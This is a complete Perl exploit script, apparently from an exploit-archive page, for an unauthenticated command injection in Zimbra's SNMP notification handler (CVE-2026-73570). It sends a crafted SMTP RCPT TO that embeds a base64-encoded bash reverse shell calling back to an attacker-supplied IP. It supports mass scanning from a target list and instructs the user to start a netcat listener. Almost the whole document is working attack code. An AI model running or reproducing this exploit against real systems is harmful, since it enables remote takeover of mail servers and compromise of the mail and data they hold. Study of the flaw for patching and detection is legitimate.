## https://sploitus.com/exploit?id=PACKETSTORM:229888
#!/usr/bin/perl
##############################################################################
# CVE-2026-73570 β Zimbra Collaboration Suite (ZCS)
# SNMP Notification OS Command Injection β Unauthenticated RCE via SMTP
# zimbra-poc.pl exploit by Gabriel P. Lipski
#
# Affected : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
# CVSS 3.1 : 8.9 HIGH β AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
# CWE : CWE-78 (Improper Neutralisation of OS Command Special Elements)
# Fixed : Zimbra 10.1.20 (released July 2026)
# CISA KEV : Added 2026-08-21 (remediation deadline 2026-08-24 for FCEB)
#
# Root Cause
# ββββββββββ
# The optional zimbra-snmp package ships a swatchdog configuration that
# watches /var/log/zimbra.log for log lines matching the pattern:
#
# Service status change: <NAME> changed from (stopped|running) to (running|stopped)
#
# When a matching line is seen, swatchdog passes the captured <NAME> field
# directly to the SNMP notification shell script without sanitisation.
# An unauthenticated attacker can inject a fake log line via a crafted
# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
# embedding shell metacharacters β e.g. $(...) β inside <NAME>.
#
# Attack Flow
# βββββββββββ
# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
# RCPT TO:<"x: Service status change: localhost $(CMD) changed from
# stopped to running"@cve.invalid>
# 3. Zimbra logs the (rejected or accepted) RCPT TO data.
# 4. swatchdog matches the log line pattern.
# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
#
# References
# ββββββββββ
# https://nvd.nist.gov/vuln/detail/CVE-2026-73570
# https://github.com/BiuTrap/CVE-2026-73570
# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
#
# Usage:
# perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444
# perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444
#
# targets.txt format:
# mail.example.com <- default port (--port)
# mail.example.com:25 <- explicit port
# 10.0.0.50:587
#
# Listener: nc -lvnp 4444
#
##############################################################################
use strict;
use warnings;
use IO::Socket::INET;
use IO::Socket::SSL qw(SSL_VERIFY_NONE);
use MIME::Base64 qw(encode_base64 decode_base64);
use Digest::HMAC_MD5 qw(hmac_md5_hex);
use POSIX qw(strftime);
use Fcntl qw(:flock);
use Getopt::Long qw(:config no_ignore_case bundling);
our $VERSION = '1.0.0';
# ββ ANSI colors (disabled when stdout is not a TTY) ββββββββββββββββββββββββββ
my %C;
{
my $tty = -t STDOUT;
%C = (
rst => $tty ? "\033[0m" : '',
bold => $tty ? "\033[1m" : '',
red => $tty ? "\033[91m" : '',
grn => $tty ? "\033[92m" : '',
ylw => $tty ? "\033[93m" : '',
blu => $tty ? "\033[94m" : '',
mag => $tty ? "\033[95m" : '',
cyn => $tty ? "\033[96m" : '',
wht => $tty ? "\033[37m" : '',
);
}
# ββ globals βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
my ($sock, $log_fh, $tls_active);
# ββ options βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
my %O = (
host => '',
port => 587,
file => '',
rhost => '',
rport => 4444,
timeout => 15,
ssl => 0,
verbose => 0,
logfile => '',
);
GetOptions(
'host|H=s' => \$O{host},
'port|p=i' => \$O{port},
'file|f=s' => \$O{file},
'rhost|r=s' => \$O{rhost},
'rport|R=i' => \$O{rport},
'timeout|t=i' => \$O{timeout},
'ssl|S' => \$O{ssl},
'verbose|v' => \$O{verbose},
'logfile|L=s' => \$O{logfile},
'help|h' => \&usage,
) or usage();
usage() unless ($O{host} || $O{file}) && $O{rhost};
# ββ build target list βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
my @targets;
if ($O{host}) {
push @targets, { host => $O{host}, port => $O{port} };
}
if ($O{file}) {
open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
while (my $line = <$fh>) {
chomp $line;
$line =~ s/^\s+|\s+$//g;
next if $line eq '' || $line =~ /^#/;
my ($h, $p) = split(/:/, $line, 2);
$p = $O{port} unless defined $p && $p =~ /^\d+$/;
push @targets, { host => $h, port => int($p) };
}
close $fh;
die "[-] No valid targets in '$O{file}'\n" unless @targets;
}
# ββ payload (built once, reused for every target) βββββββββββββββββββββββββββββ
my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
my $b64 = encode_base64($shell_cmd, '');
$b64 =~ s/\s+//g;
my $cmd = "echo ${b64}|base64 -d|bash";
my $inject = "\$(${cmd})";
my $rcpt = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
# ββ banner ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
open_log() if $O{logfile};
print_banner();
say_info(sprintf "Targets : %d host(s)", scalar @targets);
say_info("Shell : $O{rhost}:$O{rport}");
say_info("Listener: nc -lvnp $O{rport}");
print "\n";
# ββ target loop βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
my ($ok, $fail) = (0, 0);
for my $i (0 .. $#targets) {
my $t = $targets[$i];
say_info("β" x 50);
say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
my $result = run_exploit($t->{host}, $t->{port});
if ($result eq 'ok') {
say_ok("PAYLOAD SENT β waiting for shell on nc -lvnp $O{rport}");
$ok++;
} else {
say_err("FAILED: $result");
$fail++;
}
sleep 1 unless $i == $#targets;
}
# ββ summary βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
print "\n";
say_info("β" x 50);
say_info(sprintf "Summary: %d/%d hit %d failed", $ok, scalar @targets, $fail);
say_info("β" x 50);
close_log() if $log_fh;
exit 0;
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# run_exploit β attempts the injection against a single target
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
sub run_exploit {
my ($host, $port) = @_;
my $use_ssl = $O{ssl} || ($port == 465);
# ββ connect βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
eval {
if ($use_ssl) {
$sock = IO::Socket::SSL->new(
PeerHost => $host,
PeerPort => $port,
SSL_verify_mode => SSL_VERIFY_NONE,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "SSL: " . IO::Socket::SSL::errstr();
$tls_active = 1;
} else {
$sock = IO::Socket::INET->new(
PeerHost => $host,
PeerPort => $port,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "TCP: $!";
$tls_active = 0;
}
};
if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
$sock->autoflush(1);
say_dbg("Connected");
# ββ banner ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
my $banner = smtp_read_line();
unless ($banner =~ /^220/) {
close_sock();
return "unexpected banner: $banner";
}
say_dbg("Banner: $banner");
# ββ EHLO βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
smtp_send("EHLO mx-test.invalid");
my $ehlo = smtp_read_multi();
unless ($ehlo =~ /^250/m) {
close_sock();
return "EHLO failed";
}
# ββ STARTTLS βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if (!$tls_active && $ehlo =~ /STARTTLS/i) {
smtp_send("STARTTLS");
my $r = smtp_read_line();
if ($r =~ /^220/) {
IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
or do { close_sock(); return "STARTTLS failed" };
$tls_active = 1;
say_dbg("STARTTLS negotiated");
smtp_send("EHLO mx-test.invalid");
smtp_read_multi();
}
}
# ββ injection βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
my $r1 = smtp_read_line();
say_dbg("MAIL FROM: $r1");
unless ($r1 =~ /^250/) {
smtp_send("QUIT"); smtp_read_line(); close_sock();
return "MAIL FROM rejected: $r1";
}
say_dbg("RCPT TO: <$rcpt>");
smtp_send("RCPT TO:<$rcpt>");
my $r2 = smtp_read_line();
say_dbg("RCPT TO resp: $r2");
smtp_send("QUIT");
smtp_read_line();
close_sock();
return 'ok' if $r2 =~ /^[245]\d{2}/;
return "no valid response: $r2";
}
# ββ SMTP layer ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
sub smtp_send {
my ($line) = @_;
say_dbg(">>> $line");
log_write(">>> $line");
print $sock "$line\r\n";
}
sub smtp_read_line {
my $line = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
$line = <$sock> // '';
alarm(0);
};
$line =~ s/[\r\n]+$//;
say_dbg("<<< $line") if $line;
log_write("<<< $line") if $line;
return $line;
}
sub smtp_read_multi {
my $buf = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
while (my $line = <$sock>) {
$buf .= $line;
last if $line =~ /^\d{3} /;
}
alarm(0);
};
$buf =~ s/[\r\n]+$//;
return $buf;
}
sub close_sock {
return unless $sock;
eval { $sock->close() };
$sock = undef;
$tls_active = 0;
}
# ββ output ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
sub print_banner {
my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
print "${b}${c} ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ${n}\n";
print "${b}${c} β CVE-2026-73570 β Zimbra ZCS Unauthenticated RCE β${n}\n";
print "${b}${c} β SNMP Notification OS Command Injection β Reverse Shell β${n}\n";
print "${b}${c} β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£${n}\n";
print "${b}${c} β ${g}CVSS 3.1: 8.9 HIGH${c} ZCS < 10.1.20 β${n}\n";
print "${b}${c} β ${y}Authorized security testing use only${c} β${n}\n";
print "${b}${c} ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ${n}\n\n";
}
sub _ts { strftime("%H:%M:%S", localtime) }
sub say_ok { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
sub say_err { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
sub say_dbg { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
sub _say {
my ($prefix, $msg) = @_;
printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
log_write($msg);
}
sub log_write {
my ($msg) = @_;
return unless $log_fh;
flock($log_fh, LOCK_EX);
printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
flock($log_fh, LOCK_UN);
}
sub open_log {
open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
$log_fh->autoflush(1);
}
sub close_log {
close($log_fh) if $log_fh;
$log_fh = undef;
}
# ββ help ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
sub usage {
print <<'END';
Usage:
perl zimbra-poc.pl -H <host> -r <IP> [-R <port>] [options]
perl zimbra-poc.pl -f <list.txt> -r <IP> [-R <port>] [options]
Options:
-H, --host <host> Single target (hostname or IP)
-f, --file <file> File with target list (one per line)
-p, --port <port> Default SMTP port [default: 587]
-r, --rhost <IP> Your IP to receive the reverse shell (required)
-R, --rport <port> Listener port [default: 4444]
-t, --timeout <sec> Socket timeout [default: 15]
-S, --ssl Direct TLS (auto for port 465)
-v, --verbose Show full SMTP dialog
-L, --logfile <file> Save session to log file
-h, --help This help
targets.txt format:
mail.example.com <- default port (--port)
mail.example.com:25 <- explicit port
10.0.0.50:587
# comments are ignored
Examples:
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444 -L scan.log
nc -lvnp 4444
END
exit 0;
}